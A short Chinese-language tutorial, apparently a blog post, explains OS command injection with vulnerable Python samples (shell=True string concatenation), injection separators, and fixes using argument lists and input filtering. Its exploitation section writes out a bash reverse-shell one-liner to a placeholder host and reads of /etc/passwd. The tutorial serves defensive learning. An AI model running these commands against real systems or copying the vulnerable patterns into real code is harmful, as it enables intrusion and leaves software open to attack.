命令注入原理与防御:危险代码分析、注入连接符、反弹Shell、防御方案。
写在前面:合法学习边界
命令注入攻击只在授权测试环境进行。对非授权系统执行命令注入可能触犯法律。
一、命令注入原理

1
| 用户输入 → 命令拼接 → 系统执行 → 结果输出
|
二、危险代码
1
2
| os.system("ping " + user_input)
subprocess.run(f"ping {ip}", shell=True)
|
三、注入连接符
1
| ; :: && || ` $( ) | \n %0a %0d%0a
|
四、利用方式
1
2
3
4
5
6
7
| # 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1
# 信息收集
cat /etc/passwd
whoami
uname -a
|
五、防御方法
1
2
3
4
5
6
| # 方案1:避免拼接
subprocess.run(["ping", ip], shell=False)
# 方案2:输入过滤
# 只允许 IP 格式
# 过滤特殊字符:; | & ` $ ( )
|
六、小结
命令注入的本质是用户输入被当作命令执行。防御核心是使用参数列表而非字符串拼接,配合输入过滤和沙箱隔离。